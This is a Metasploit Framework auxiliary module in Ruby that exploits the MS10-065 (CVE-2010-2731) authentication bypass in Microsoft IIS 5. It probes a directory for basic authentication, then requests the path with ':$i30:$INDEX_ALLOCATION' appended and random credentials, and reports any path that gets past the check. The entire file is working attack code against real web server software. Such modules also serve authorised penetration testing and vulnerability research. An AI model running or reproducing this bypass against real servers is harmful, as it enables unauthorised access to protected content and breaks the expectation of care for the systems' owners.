98 lines
2.6 KiB
Ruby
98 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
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'Description' => %q{
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This module bypasses basic authentication for Internet Information Services (IIS).
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By appending the NTFS stream name to the directory name in a request, it is
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possible to bypass authentication.
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},
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'References' =>
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[
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[ 'CVE', '2010-2731' ],
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[ 'OSVDB', '66160' ],
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[ 'MSB', 'MS10-065' ],
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[ 'URL', 'http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
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],
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'Author' =>
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[
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'Soroush Dalili',
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'sinn3r'
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Jul 02 2010"
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))
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register_options(
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[
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OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/'])
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], self.class)
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end
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def has_auth
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1, 1] != '/'
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET'
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})
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vprint_status(res.body) if res
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return (res and res.code == 401)
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end
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def try_auth
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1, 1] != '/'
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uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"
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dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'
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user = Rex::Text.rand_text_alpha(rand(10) + 5)
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pass = Rex::Text.rand_text_alpha(rand(10) + 5)
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vprint_status("Requesting: #{dir}")
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res = send_request_cgi({
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'uri' => dir,
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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vprint_status(res.body) if res
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return (res and res.code != 401 and res.code != 404) ? dir : ''
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end
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def run
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@peer = "#{rhost}:#{rport}"
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if not has_auth
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print_error("#{@peer} - No basic authentication enabled")
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return
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end
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bypass_string = try_auth
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if bypass_string.empty?
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print_error("#{@peer} - The bypass attempt did not work")
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else
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print_good("#{@peer} - You can bypass auth by doing: #{bypass_string}")
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end
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end
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end
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